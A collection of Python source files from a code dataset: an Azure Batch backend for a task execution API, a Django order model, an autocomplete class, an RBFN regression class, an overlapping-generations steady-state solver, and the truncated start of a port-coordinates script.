name=current_app.config['BATCH_NODE_ADMIN_USERNAME'], password=current_app.config['BATCH_NODE_ADMIN_PASSWORD'])]\n\n pool_start_task = None\n if 'BATCH_STORAGE_FILESHARE_NAME' in current_app.config and current_app.config['BATCH_STORAGE_FILESHARE_NAME'] is not None:\n current_app.logger.info(f\"Creating pool with Azure files share '{current_app.config['BATCH_STORAGE_FILESHARE_NAME']}'\")\n share_name = current_app.config['BATCH_STORAGE_FILESHARE_NAME']\n file_service = azfiles.FileService(account_name=current_app.config['STORAGE_ACCOUNT_NAME'], account_key=current_app.config['STORAGE_ACCOUNT_KEY'])\n file_service.create_share(share_name)\n\n azfiles_mountpoint = \"/mnt/batch/tasks/shared-azfiles\"\n # FIXME: core.windows.net suffix could theoretically vary\n azfiles_endpoint = f\"//{file_service.account_name}.file.core.windows.net/{share_name}\"\n node_start_command = f'/bin/bash -c \"mkdir -p {shlex.quote(azfiles_mountpoint)} && mount -t cifs {shlex.quote(azfiles_endpoint)} {shlex.quote(azfiles_mountpoint)} -o vers=3.0,username={shlex.quote(current_app.config[\"STORAGE_ACCOUNT_NAME\"])},password={current_app.config[\"STORAGE_ACCOUNT_KEY\"]},dir_mode=0777,file_mode=0777,serverino,mfsymlinks\"'\n\n pool_start_task = azbatch.models.StartTask(\n command_line=node_start_command,\n wait_for_success=True,\n user_identity=azbatch.models.UserIdentity(\n auto_user=azbatch.models.AutoUserSpecification(\n scope=azbatch.models.AutoUserScope.pool,\n elevation_level=azbatch.models.ElevationLevel.admin\n )\n )\n )\n\n acr_registry = None\n if current_app.config['PRIVATE_DOCKER_REGISTRY_URL']:\n # Check if we need to add a private registry to the pool\n # Note images are only downloaded upon creation, never updated later\n current_app.logger.debug(f\"Adding private Docker registry {current_app.config['PRIVATE_DOCKER_REGISTRY_URL']} to pool\")\n acr_registry = azbatch.models.ContainerRegistry(\n registry_server=current_app.config['PRIVATE_DOCKER_REGISTRY_URL'],\n user_name=current_app.config['PRIVATE_DOCKER_REGISTRY_USERNAME'],\n password=current_app.config['PRIVATE_DOCKER_REGISTRY_PASSWORD']\n )\n\n container_conf = azbatch.models.ContainerConfiguration(\n container_image_names=['alpine'] + executor_image_names,\n container_registries=[acr_registry] if acr_registry else None)\n\n image = azbatch.models.VirtualMachineConfiguration(\n image_reference=azbatch.models.ImageReference(\n publisher=\"microsoft-azure-batch\",\n offer=\"ubuntu-server-container\",\n sku=\"16-04-lts\",\n version=\"latest\"\n ),\n container_configuration=container_conf,\n node_agent_sku_id=\"batch.node.ubuntu 16.04\"\n )\n\n return {\n 'vm_size': vm_size,\n 'target_dedicated_nodes': current_app.config['BATCH_POOL_DEDICATED_NODE_COUNT'],\n 'target_low_priority_nodes': current_app.config['BATCH_POOL_LOW_PRIORITY_NODE_COUNT'],\n 'user_accounts': admin_user,\n 'start_task': pool_start_task,\n 'virtual_machine_configuration': image\n }\n\n def _initializePool(self, vm_size, executor_image_names=[]):\n \"\"\"Initialize a new Azure Batch pool.\"\"\"\n # create a new unique Azure Batch pool id\n pool_id = str(uuid.uuid4())\n current_app.logger.info(f\"Attempting to create new pool {pool_id}\")\n\n pool = azbatch.models.PoolAddParameter(id=pool_id, **self._initializePoolKeywordArgs(vm_size, executor_image_names=executor_image_names))\n self.batch_client.pool.add(pool)\n return pool\n\n def _initializePoolSpec(self, vm_size, executor_image_names=[]):\n \"\"\"Initialize a Azure Batch auto-pool spec for use when a job is submitted.\"\"\"\n return azbatch.models.PoolSpecification(**self._initializePoolKeywordArgs(vm_size, executor_image_names=executor_image_names))\n\n def createJob(self, task):\n \"\"\"Create new job and execute workflow.\"\"\"\n # check Azure Batch jobs list to see if a job with the same id exists\n job_id = str(uuid.uuid4())\n existing_job_ids = [j.id for j in self.batch_client.job.list()]\n if job_id in existing_job_ids:\n current_app.logger.warning(f\"Batch job {job_id} already exists!\")\n return False\n\n current_app.logger.info(f'Creating Azure Batch job {job_id}')\n\n # TODO: Make a script in the container and pass inputs instead of command line\n download_commands = backend_common.commands.generate_input_download_commands(task)\n upload_commands = backend_common.commands.generate_output_upload_commands(task)\n\n # Upload TES inputs passed as 'content' to blob, then download them into\n # the containers during prep. FIXME: Need a cleanup routine for this\n container_name = current_app.config['BATCH_STORAGE_TMP_CONTAINER_NAME']\n blob_service = azblob.BlockBlobService(account_name=current_app.config['STORAGE_ACCOUNT_NAME'], account_key=current_app.config['STORAGE_ACCOUNT_KEY'])\n blob_service.create_container(container_name)\n for input in task.inputs:\n if input.content is None:\n continue\n\n blob_filename = str(uuid.uuid4())\n blob_service.create_blob_from_text(container_name, blob_filename, input.content)\n token = blob_service.generate_blob_shared_access_signature(\n container_name,\n blob_filename,\n azblob.BlobPermissions.READ,\n datetime.datetime.utcnow() + datetime.timedelta(hours=1),\n )\n url = blob_service.make_blob_url(container_name, blob_filename, sas_token=token)\n download_commands.append(backend_common.commands.generate_input_download_command(url, input.path))\n\n # Pick an appropriate VM size and create the pool as necessary\n vm_size = backend_common.determine_azure_vm_for_task(task.resources)\n override_pool_id = current_app.config.get('BATCH_OVERRIDE_POOL_ID', None)\n task_override_pool_id = task.tags.get('ms-backend-batch-pool-id', None)\n if task_override_pool_id:\n current_app.logger.info(f\"Using pool override '{override_pool_id}' from task tag for batch job '{job_id}\")\n pool_info = azbatch.models.PoolInformation(pool_id=task_override_pool_id)\n elif override_pool_id:\n current_app.logger.info(f\"Using pool override '{override_pool_id}' from app config for batch job '{job_id}'\")\n pool_info = azbatch.models.PoolInformation(pool_id=override_pool_id)\n else:\n current_app.logger.info(f\"Auto-pool to be created with batch job {job_id}\")\n\n # Tasks timeout if pulls take >60s, so pull the images at pool creation time\n executor_image_names = list(set(executor.image for executor in task.executors))\n\n pool_info = azbatch.models.PoolInformation(\n auto_pool_specification=azbatch.models.AutoPoolSpecification(\n auto_pool_id_prefix='tes',\n pool_lifetime_option='job',\n keep_alive=current_app.config.get('BATCH_AUTOPOOL_KEEPALIVE', False),\n pool=self._initializePoolSpec(vm_size, executor_image_names=executor_image_names)\n )\n )\n\n job = azbatch.models.JobAddParameter(\n id=job_id,\n pool_info=pool_info,\n on_all_tasks_complete=azbatch.models.OnAllTasksComplete.terminate_job,\n on_task_failure=azbatch.models.OnTaskFailure.perform_exit_options_job_action\n )\n\n current_app.logger.info(f'Adding preparation task for job {job_id}')\n task_container_run_options = '-v \"$AZ_BATCH_TASK_DIR/../:/tes-wd\"'\n if 'BATCH_STORAGE_FILESHARE_NAME' in current_app.config and current_app.config['BATCH_STORAGE_FILESHARE_NAME'] is not None:\n azfiles_path = f\"/mnt/batch/tasks/shared-azfiles\"\n task_container_run_options += f' -v \"{azfiles_path}:/tes-wd/shared-global\"'\n fileprep_task_container_run_options = '--entrypoint=/bin/sh ' + task_container_run_options\n download_commands_shell = ';'.join(download_commands) if download_commands else 'true'\n\n job.job_preparation_task = azbatch.models.JobPreparationTask(\n container_settings=azbatch.models.TaskContainerSettings(\n image_name=current_app.config.get('FILETRANSFER_CONTAINER_IMAGE'),\n container_run_options=fileprep_task_container_run_options\n ),\n # mkdir is required to ensure permissions are right on folder\n # if created by Docker from -v syntax, owned by root and permissions\n # errors ensue\n command_line=f\"\"\" -c \"set -e; set -o pipefail; mkdir -p /tes-wd/shared; {download_commands_shell}; wait\" \"\"\",\n )\n\n if upload_commands:\n # prep task is always used for mkdir above at a minimum, but if\n # changing this logic later, recall that release task cannot be\n # specified without prep task\n current_app.logger.info(f'Adding release task for job {job_id}')\n job.job_release_task = azbatch.models.JobReleaseTask(\n container_settings=azbatch.models.TaskContainerSettings(\n image_name=current_app.config.get('FILETRANSFER_CONTAINER_IMAGE'),\n container_run_options=fileprep_task_container_run_options\n ),\n command_line=f\"\"\" -c \"set -e; set -o pipefail; {';'.join(upload_commands)}; wait\" \"\"\"\n )\n\n with _handle_batch_error():\n self.batch_client.job.add(job)\n\n for executor in task.executors:\n task_id = str(uuid.uuid4())\n current_app.logger.info(f'Creating Azure Batch task {task_id} for executor')\n\n batch_task_env = [azbatch.models.EnvironmentSetting(name=k, value=v) for k, v in executor.env.items()]\n\n commands = [' '.join(executor.command)]\n if executor.stdout:\n # currently the source path isn't quoted; we should map the workdir into /tes-wd explicitly\n # to avoid having to use the shell expansion here\n commands += backend_common.commands.generate_copy_commands(posixpath.join(\"/tes-wd/$AZ_BATCH_TASK_ID/stdout.txt\"), executor.stderr)\n if executor.stderr:\n commands += backend_common.commands.generate_copy_commands(posixpath.join(\"/tes-wd/$AZ_BATCH_TASK_ID/stderr.txt\"), executor.stderr)\n\n # TODO: Handle 'workdir' parameter from TES\n task = azbatch.models.TaskAddParameter(\n id=task_id,\n environment_settings=batch_task_env,\n command_line=f\"\"\"/bin/sh -c \"set -e; {';'.join(commands)}; wait\" \"\"\",\n container_settings=azbatch.models.TaskContainerSettings(\n image_name=executor.image,\n container_run_options=task_container_run_options\n )\n )\n self.batch_client.task.add(job_id=job_id, task=task)\n\n return job_id\n\n def create_task(self, task):\n \"\"\"Create a new Azure Batch task.\"\"\"\n task_id = self.createJob(task)\n return task_id\n\n def get_task(self, task_id):\n try:\n batch_job = self.batch_client.job.get(task_id)\n except azbatch.models.BatchErrorException as e:\n if e.error.code == \"JobNotFound\":\n return False\n raise\n\n tes_task = tesmodels.TesTask()\n tes_task.creation_time = batch_job.creation_time\n\n tes_log = tesmodels.TaskLog()\n tes_log.start_time = batch_job.creation_time\n\n if batch_job.state == azbatch.models.JobState.completed:\n tes_log.end_time = batch_job.state_transition_time\n\n # Default state inheritance, with 'active' as QUEUED unless we get more detailed into from tasks\n state_map = {\n azbatch.models.JobState.active: tesmodels.TaskStatus.QUEUED,\n azbatch.models.JobState.completed: tesmodels.TaskStatus.COMPLETE,\n azbatch.models.JobState.deleting: tesmodels.TaskStatus.CANCELED,\n azbatch.models.JobState.disabled: tesmodels.TaskStatus.PAUSED,\n azbatch.models.JobState.disabling: tesmodels.TaskStatus.PAUSED,\n azbatch.models.JobState.enabling: tesmodels.TaskStatus.PAUSED,\n azbatch.models.JobState.terminating: tesmodels.TaskStatus.RUNNING,\n }\n tes_task.state = state_map.get(batch_job.state, tesmodels.TaskStatus.UNKNOWN)\n\n # Check prep and release task status, but only if they exist\n if any([batch_job.job_preparation_task, batch_job.job_release_task]):\n for task_info in self.batch_client.job.list_preparation_and_release_task_status(batch_job.id):\n if task_info.job_preparation_task_execution_info:\n # System error if file marshalling failed\n if task_info.job_preparation_task_execution_info.result == azbatch.models.TaskExecutionResult.failure:\n tes_task.state = tesmodels.TaskStatus.SYSTEM_ERROR\n # Initializing when files are being downloaded\n if task_info.job_preparation_task_execution_info.state == azbatch.models.JobPreparationTaskState.running:\n tes_task.state = tesmodels.TaskStatus.INITIALIZING\n\n if task_info.job_release_task_execution_info:\n # System error if file marshalling failed\n if task_info.job_release_task_execution_info.result == azbatch.models.TaskExecutionResult.failure:\n tes_task.state = tesmodels.TaskStatus.SYSTEM_ERROR\n # Active if files are being uploaded\n if task_info.job_release_task_execution_info.state == azbatch.models.JobReleaseTaskState.running:\n tes_task.state = tesmodels.TaskStatus.RUNNING\n\n # Check status against batch task summary\n if batch_job.execution_info.terminate_reason == azbatch.models.TaskExecutionResult.failure:\n tes_task.state = tesmodels.TaskStatus.EXECUTOR_ERROR\n\n if tes_task.state == tesmodels.TaskStatus.UNKNOWN:\n task_status = self.batch_client.job.get_task_counts(batch_job.id)\n if task_status.failed:\n tes_task.state = tesmodels.TaskStatus.EXECUTOR_ERROR\n elif task_status.running == 0 and task_status.active > 0:\n tes_task.state = tesmodels.TaskStatus.QUEUED\n\n # Get the executor logs (each batch task)\n for batch_task in self.batch_client.task.list(batch_job.id):\n if batch_task.execution_info.result == azbatch.models.TaskExecutionResult.failure:\n # Above assumes EXECUTOR_ERROR on any task failure. Since we are responsible for orchestrating Batch,\n # Batch USER_ERROR should be a TES-user-facing SYSTEM_ERROR regardless of if batch_task.execution_info.failure_info.category is\n # azbatch.models.ErrorCategory.server_error or azbatch.models.ErrorCategory.user_error.\n tes_task.state = tesmodels.TaskStatus.SYSTEM_ERROR\n\n # Executor logs\n executor_log = tesmodels.ExecutorLog(start_time=batch_task.creation_time, end_time=batch_task.state_transition_time)\n executor_log.exit_code = batch_task.execution_info.exit_code\n\n # Add output streams to executor logs (only available if job is completed)\n if batch_job.state == azbatch.models.JobState.completed:\n with _handle_batch_error(should_raise=False):\n output = self.batch_client.file.get_from_task(batch_job.id, batch_task.id, 'stdout.txt')\n for data in output:\n executor_log.stdout += data.decode('utf-8')\n\n with _handle_batch_error(should_raise=False):\n output = self.batch_client.file.get_from_task(batch_job.id, batch_task.id, 'stderr.txt')\n for data in output:\n executor_log.stderr += data.decode('utf-8')\n\n tes_log.logs = tes_log.logs + [executor_log]\n\n # FIXME: tes_task is not loaded from db so outputs is empty here\n for output in tes_task.outputs:\n output_log = tesmodels.OutputFileLog()\n output_log.path = output.path\n output_log.url = output.url\n output_log.size_bytes = 0 # TODO\n tes_log.outputs = tes_log.outputs + [output_log]\n\n tes_task.logs = [tes_log]\n return tes_task\n\n def list_tasks(self):\n \"\"\"Return a list of Azure Batch jobs.\"\"\"\n # TODO: return simplified job list\n return self.batch_client.job.list()\n\n def service_info(self, debug=False):\n \"\"\"\n Get service details and capacity availability. Implementation gets\n merged with API's defaults, overriding keys if there is overlap.\n \"\"\"\n return {}\n\n def cancel_task(self, task_id):\n \"\"\"Cancel an existing task (job) by id.\"\"\"\n try:\n self.batch_client.job.delete(task_id)\n current_app.logger.info(f\"job {task_id} deleted\")\n return True\n except azbatch.models.BatchErrorException:\n return False\n\n def configure(self):\n pass\n\n def provision_check(self, provision_request):\n \"\"\"Checks a ProvisionRequest object for validity with the Batch backend\"\"\"\n\n try:\n credentials = azcredentials.ServicePrincipalCredentials(\n client_id=provision_request.service_principal.client_id,\n secret=provision_request.service_principal.secret,\n tenant=provision_request.service_principal.tenant\n )\n\n resource_client = azresource_mgmt.ResourceManagementClient(credentials, provision_request.subscription_id)\n storage_client = azstorage_mgmt.StorageManagementClient(credentials, provision_request.subscription_id)\n batch_client = azbatch_mgmt.BatchManagementClient(credentials, provision_request.subscription_id)\n\n rg_check_result = resource_client.resource_groups.check_existence(provision_request.resource_group)\n if rg_check_result is True:\n with resource_client.resource_groups.get(provision_request.resource_group) as resource_group:\n if not resource_group.location == provision_request.location:\n raise AzCloudError('Resource group exists but in different provision_request.location than provided.')\n\n storage_check_result = storage_client.storage_accounts.check_name_availability(name=provision_request.storage_account_name)\n if not storage_check_result.name_available:\n if not storage_check_result.reason == 'AlreadyExists':\n raise tesmodels.CloudError(storage_check_result.message)\n else:\n storage_client.storage_accounts.get_properties( # <-- will throw exception if in different RG\n resource_group_name=provision_request.resource_group,\n account_name=provision_request.storage_account_name)\n\n batch_check_result = batch_client.location.check_name_availability(\n location_name=provision_request.location,\n name=provision_request.batch_account_name)\n if not batch_check_result.name_available:\n if not batch_check_result.reason.value == 'AlreadyExists':\n raise AzCloudError(batch_check_result.message)\n else:\n batch_client.batch_account.get( # <-- will throw exception if in different RG\n resource_group_name=provision_request.resource_group,\n account_name=provision_request.batch_account_name)\n except AzCloudError as err:\n # Return non-azure specific exception instead\n raise tesmodels.CloudError(err)\n\n return True\n\n def _create_resource_group(self, credentials, subscription_id, name, location):\n \"\"\" Creates requested resource group on Azure \"\"\"\n resource_client = azresource_mgmt.ResourceManagementClient(credentials, subscription_id)\n return resource_client.resource_groups.create_or_update(\n resource_group_name=name,\n parameters={'location': location}\n )\n\n def _create_storage_account(self, credentials, subscription_id, resource_group, name, sku, location):\n \"\"\" Creates requested storage account on Azure. Returns storage id, a url endpoint and single key \"\"\"\n from azure.mgmt.storage.models import StorageAccountCreateParameters, Kind, Sku\n\n storage_client = azstorage_mgmt.StorageManagementClient(credentials, subscription_id)\n storage_async_operation = storage_client.storage_accounts.create(\n resource_group_name=resource_group,\n account_name=name,\n parameters=StorageAccountCreateParameters(\n sku=Sku(name=sku),\n kind=Kind.storage,\n location=location\n )\n )\n storage_account = storage_async_operation.result()\n storage_keys = storage_client.storage_accounts.list_keys(\n resource_group_name=resource_group,\n account_name=name\n )\n return (storage_account.id, storage_account.name, storage_keys.keys[0].value)\n\n def _create_batch_account(self, credentials, subscription_id, resource_group, name, location, storage_account_id):\n \"\"\" Creates requested batch account on Azure. Returns a url endpoint and single key \"\"\"\n from azure.mgmt.batch.models import BatchAccountCreateParameters, AutoStorageBaseProperties\n\n batch_client = azbatch_mgmt.BatchManagementClient(credentials, subscription_id)\n batch_async_operation = batch_client.batch_account.create(\n resource_group_name=resource_group,\n account_name=name,\n parameters=BatchAccountCreateParameters(\n location=location,\n auto_storage=AutoStorageBaseProperties(storage_account_id)\n )\n )\n batch_account = batch_async_operation.result()\n keys = batch_client.batch_account.get_keys(\n resource_group_name=resource_group,\n account_name=name\n )\n return (batch_account.name, f'https://{batch_account.account_endpoint}', keys.primary)\n\n def _try_add_keyvault_config(self, provision_status):\n \"\"\" Post secrets to Key Vault if URI in config \"\"\"\n from tesazure.extensions import key_vault\n\n if current_app.config.get('KEYVAULT_URL', False):\n keyvault_url = current_app.config['KEYVAULT_URL']\n prefix = current_app.config.get('KEYVAULT_SECRETS_PREFIX', '')\n\n current_app.logger.info(f'Populating Azure Key Vault ({keyvault_url}) with secrets from provisioning process.')\n key_vault.set(keyvault_url, f'{prefix}BATCH-ACCOUNT-NAME', provision_status.batch_account_name)\n provision_status.batch_account_name = \"*******************\"\n key_vault.set(keyvault_url, f'{prefix}BATCH-ACCOUNT-URL', provision_status.batch_account_url)\n provision_status.batch_account_url = \"*******************\"\n key_vault.set(keyvault_url, f'{prefix}BATCH-ACCOUNT-KEY', provision_status.batch_account_key)\n provision_status.batch_account_key = \"*******************\"\n key_vault.set(keyvault_url, f'{prefix}STORAGE-ACCOUNT-NAME', provision_status.storage_account_name)\n provision_status.storage_account_name = \"*******************\"\n key_vault.set(keyvault_url, f'{prefix}STORAGE-ACCOUNT-KEY', provision_status.storage_account_key)\n provision_status.storage_account_key = \"*******************\"\n else:\n current_app.logger.info('Key Vault URL not found in app settings. Skipping adding provisioner results to Key Vault.')\n current_app.logger.info(current_app.config)\n\n @current_celery_app.task(base=RequestContextTask)\n def _worker_provision_start(id):\n \"\"\"Provision requested batch cloud resources\"\"\"\n def _updateProvisionStatus(provision_request, status):\n \"\"\"Local helper to serialize the status into the provision_request and save\"\"\"\n schema = batchbackendmodels.ProvisionStatusSchema()\n provision_request.status_json = schema.dump(status).data\n provision_request.save()\n\n current_app.logger.info(f'Worker provisioning batch resources from request id {id}.')\n\n # Get and validate request from the database\n provision_tracker = tesmodels.ProvisionTracker.get_by_id(id)\n schema = batchbackendmodels.ProvisionRequestSchema()\n provision_request = schema.load(provision_tracker.request_json)\n if len(provision_request.errors) > 0:\n raise ValidationError(provision_request.errors)\n provision_request = provision_request.data\n\n if not provision_tracker or not provision_request:\n # FIXME: Is there a special not found exception?\n raise Exception('Provision request could not be found')\n\n # Set initial status\n provision_status = batchbackendmodels.ProvisionStatus()\n provision_status.status = batchbackendmodels.Status.INPROGRESS\n _updateProvisionStatus(provision_tracker, provision_status)\n\n credentials = azcredentials.ServicePrincipalCredentials(\n client_id=provision_request.service_principal.client_id,\n secret=provision_request.service_principal.secret,\n tenant=provision_request.service_principal.tenant\n )\n\n # FIXME - move this stuff out of backend or into common\n from tesazure.extensions import compute_backend\n\n try:\n current_app.logger.debug(f\"Creating or updating resource group {provision_request.resource_group} in {provision_request.location}...\")\n compute_backend.backend._create_resource_group(credentials, provision_request.subscription_id, provision_request.resource_group, provision_request.location)\n\n current_app.logger.debug(f\"Creating storage account {provision_request.storage_account_name} with SKU {provision_request.storage_sku} in {provision_request.location}...\")\n storage_id, provision_status.storage_account_name, provision_status.storage_account_key = \\\n compute_backend.backend._create_storage_account(credentials, provision_request.subscription_id, provision_request.resource_group,\n provision_request.storage_account_name, provision_request.storage_sku, provision_request.location)\n\n current_app.logger.debug(f\"Creating batch account {provision_request.batch_account_name} in {provision_request.location}...\")\n provision_status.batch_account_name, provision_status.batch_account_url, provision_status.batch_account_key = \\\n compute_backend.backend._create_batch_account(credentials, provision_request.subscription_id, provision_request.resource_group,\n provision_request.batch_account_name, provision_request.location, storage_id)\n\n compute_backend.backend._try_add_keyvault_config(provision_status)\n provision_status.status = batchbackendmodels.Status.CREATED\n except Exception as err:\n current_app.logger.error(\"Error during batch provisioning process\", err)\n provision_status.status = batchbackendmodels.Status.ERROR\n provision_status.error_message = f'Error during batch provisioning process. Error: {err}'\n return\n finally:\n _updateProvisionStatus(provision_tracker, provision_status)\n\n def provision_start(self, id):\n # Abstract worker from API\n return self._worker_provision_start.delay(str(id))\n\n def provision_query(self, id):\n \"\"\"Check status of a given provision tracker\"\"\"\n\n provision_tracker = tesmodels.ProvisionTracker.get_by_id(id)\n if not provision_tracker:\n raise tesmodels.ProvisionTrackerNotFound()\n\n return provision_tracker.status_json\n","sub_path":"api-server/tesazure/backends/batch/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":31503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"123408852","text":"from django.db import models\nfrom User.models import Customer, Seller\nfrom Product.models import Product\n\nORDER_STATUS = [\n ('waiting', \"waiting\"),\n ('denied', \"denied\"),\n ('accepted', \"accepted\"),\n ('process', \"process\"),\n ('shipping', \"shipping\"),\n ('shipped', \"shipped\"),\n ('refunded', \"refunded\"),\n]\n\nclass OrderManager(models.Manager):\n def CreateOrder(self, seller, customer, order_status, ship_cost):\n order = self.model(seller=seller, customer=customer, order_status=order_status, ship_cost=ship_cost)\n order.save(using = self._db)\n return order\n\nclass Order(models.Model):\n seller = models.ForeignKey(Seller, related_name='seller_order', on_delete=models.CASCADE)\n customer = models.ForeignKey(Customer, related_name='customer_order', on_delete=models.CASCADE)\n\n order_status = models.CharField(max_length=30, choices= ORDER_STATUS, blank=False, null=False)\n ship_cost = models.FloatField()\n product_cost = models.FloatField(null=True)\n objects = OrderManager()\n\n","sub_path":"EzShopping/Order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"41947476","text":"from collections import defaultdict, deque\nimport heapq\nfrom typing import List\n\n\nclass AutocompleteSystem:\n class Pair:\n def __init__(self, sentence, count):\n self.sentence = sentence\n self.count = count\n\n def __lt__(self, other):\n if self.count == other.count:\n return self.sentence > other.sentence\n return self.count < other.count\n\n def __init__(self, sentences: List[str], times: List[int]):\n self.dic = defaultdict(int)\n for i in range(len(sentences)):\n self.dic[sentences[i]] += times[i]\n self.search = ''\n\n def input(self, c: str) -> List[str]:\n pq = []\n if c == '#':\n self.dic[self.search] += 1\n self.search = ''\n return pq\n self.search += c\n for k, v in self.dic.items():\n if k.startswith(self.search):\n heapq.heappush(pq, self.Pair(k, v))\n if len(pq) > 3:\n heapq.heappop(pq)\n result = deque()\n while pq:\n count_sentence = heapq.heappop(pq)\n result.insert(0, count_sentence.sentence)\n return result\n","sub_path":"autocomplete_system_2.py","file_name":"autocomplete_system_2.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"347662247","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom gaussians import Gaussians\n\n\nclass RBFN(Gaussians):\n def __init__(self, nb_features):\n super().__init__(nb_features)\n self.theta = np.random.random(self.nb_features)\n self.a = np.zeros(shape=(self.nb_features, self.nb_features))\n self.a_inv = np.matrix(np.identity(self.nb_features))\n self.b = np.zeros(self.nb_features)\n\n def f(self, x, *user_theta):\n \"\"\"\n Get the FA output for a given input variable(s)\n \n :param x: A single or vector of dependent variables with size [Ns] for which to calculate the FA features\n :param user_theta: (Variable argument) A vector of theta variables to apply to the FA. \n :If left blank the method will default to using the trained thetas in self.theta. \n :This is only used for visualization purposes.\n \n :returns: A vector of function approximator outputs with size [Ns]\n \"\"\"\n phi = self.phi_output(x)\n if not user_theta:\n temp = self.theta\n else:\n temp = np.array(user_theta)\n out = np.dot(phi, temp.transpose())\n return out\n\n def feature(self, x, idx):\n \"\"\"\n Get the output of the idx^th feature for a given input variable(s)\n Used mainly for plotting\n\n :param x: A single or vector of dependent variables with size [Ns] for which to calculate the FA features\n :param idx: index of the feature\n\n :returns: a value\n \"\"\"\n phi = self.phi_output(x)\n return phi[idx] * self.theta[idx]\n\n # ----------------------#\n # # Training Algorithms ##\n # ----------------------#\n\n def train_ls(self, x_data, y_data):\n #Fill this part\n \n phi = self.phi_output(x_data)\n \n B = np.dot(phi,y_data)\n A = np.linalg.pinv(np.dot(phi,phi.T))\n self.theta = np.dot(A,B)\n\n def train_rls(self, x, y):\n #Fill this part\n for i in range(self.nb_features):\n self.theta[i] = 0#fill this\n\n def train_rls2(self, x, y):\n #Fill this part\n for i in range(self.nb_features):\n self.theta[i] = 0#fill this\n\n def train_gd(self, x, y, alpha):\n \n phi = self.phi_output(x)\n eps = y - self.f(x)\n self.theta = self.theta+alpha*eps*phi\n\n # -----------------#\n # # Plot function ##\n # -----------------#\n\n def plot(self, x_data, y_data):\n xs = np.linspace(0.0, 1.0, 1000)\n z = []\n for i in xs:\n z.append(self.f(i))\n\n z2 = []\n for i in range(self.nb_features):\n temp = []\n for j in xs:\n temp.append(self.feature(j, i))\n z2.append(temp)\n\n plt.plot(x_data, y_data, 'o', markersize=3, color='lightgreen')\n plt.plot(xs, z, lw=3, color='red')\n for i in range(self.nb_features):\n plt.plot(xs, z2[i])\n plt.show()\n","sub_path":"RA/REG_GRASSIN_ROUCAIROL/rbfn.py","file_name":"rbfn.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"228011527","text":"# ILDEBRANDO MAGNANI, joint with Francesco Furno\n\n\n# Exercises 5.1, 5.2 : \n\n\nimport numpy as np\nimport scipy.optimize as opt\n\n\n\n# Parameters\n\nperiod = 20\nannual_beta1 = 0.96\nbeta1 = annual_beta1**period\nannual_beta2 = 0.98\nbeta2 = annual_beta2**period\nannual_delta = 0.05\ndelta = 1 - (1 - annual_delta)**period\nsigma = 3\nA = 1\nalpha = 0.35\n\n\n\n\n# Marginal Utility, SS\n\ndef U_prime(c, sigma):\n \n return c**(-sigma)\n\n\n\n\n# Wage, SS\n\ndef Wss(b, alpha):\n b2 = b[0]\n b3 = b[1]\n \n return (1-alpha) * A * ((b2 + b3)/2.2)**alpha\n\n\n\n\n# Interest Rate, SS\n\ndef Rss(b, alpha, delta):\n b2 = b[0]\n b3 = b[1]\n \n return alpha * A * (2.2/(b2 + b3))**(1-alpha) - delta\n\n\n\n\n# Equilibrium conditions, returns Errors\n\ndef equilibriumss(b, beta, sigma, alpha, delta):\n b2 = b[0]\n b3 = b[1]\n \n error = np.empty((2))\n \n error[0] = U_prime(Wss(b, alpha) - b2, sigma) - beta * (1+Rss(b, alpha, delta)) * \\\n U_prime(Wss(b, alpha) + (1+Rss(b, alpha, delta))*b2 - b3, sigma)\n \n error[1] = U_prime(Wss(b, alpha) + (1+Rss(b, alpha, delta))*b2 - b3, sigma) - beta * (1+Rss(b, alpha, delta)) * \\\n U_prime((1 + Rss(b, alpha, delta))*b3 + 0.2*Wss(b, alpha), sigma)\n \n return error\n\n\n\n\n# Consumption 1\n\ndef c1(vec):\n b2 = vec[0]\n w = vec[1]\n return w - b2\n\n\n\n\n# Consumption 2\n\ndef c2(vec):\n b2 = vec[0]\n b3 = vec[1]\n r = vec[2]\n w = vec[3]\n return w + (1 + r)*b2 - b3\n\n\n\n\n# Consumption 3\n\ndef c3(vec):\n b3 = vec[0]\n r = vec[1]\n w = vec[2]\n return 0.2*w + (1 + r)*b3\n\n","sub_path":"ProblemSets/Econ/Week1/ss.py","file_name":"ss.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"229634118","text":"import csv\nimport ast\nimport pdb\nimport math\nimport json\n\nrayonTerrestre = 6371011 # metre \n\n\n\"\"\"\nTransform {lat,lng } coordinate into xyz coordinate\n\"\"\"\ndef xyzCoor(d):\n\t\n\txyz = {}\n\txyz['x'] = rayonTerrestre * math.cos(math.radians( d['lat']) ) * math.cos( math.radians( d['lng'])) \n\txyz['y'] = rayonTerrestre * math.cos(math.radians(d['lat'])) * math.sin(math.radians(d['lng'])) \n\txyz['z'] = rayonTerrestre * math.sin(math.radians(d['lat'])) \n\t\n\treturn xyz \n\t\n\"\"\"Transform { x, y ,z} to {lat,lng}\n\"\"\"\ndef xyz2Coor(xyz):\n\t\n\tx = xyz['x']\n\ty = xyz['y']\n\tz = xyz['z']\n\tsph = cart2sph(x,y,z)\n\tlatLng = sph2LatLng(sph[0], sph[1], sph[2]) \n\n\treturn latLng \n\n\ndef cart2sph(x,y,z):\n\t\n\tXsqPlusYsq = x**2 + y**2\n\tr = math.sqrt(XsqPlusYsq + z**2) # r\n\telev = math.atan2(z,math.sqrt(XsqPlusYsq)) # theta\n\taz = math.atan2(y,x) # phi\n\treturn r, elev, az\n\ndef sph2LatLng(r, elev, az):\n\t\n\tlatLng = {}\n\tlatLng['lng'] = math.degrees(az)\n\tlatLng['lat'] = math.degrees( elev )\n\treturn latLng\n\n\n\nclass Port:\n\n\t\"\"\"\n\tl need to be of the form: [ rank, cityName, country, traffic, {lat,lng})\n\t\"\"\"\n\tdef __init__(self, l):\n\t\t\n\t\tself.rank = l[0]\n\t\tself.name = l[1]\n\t\tself.country = l[2]\n\t\tself.traffic = l[3]\n\t\tself.coor = 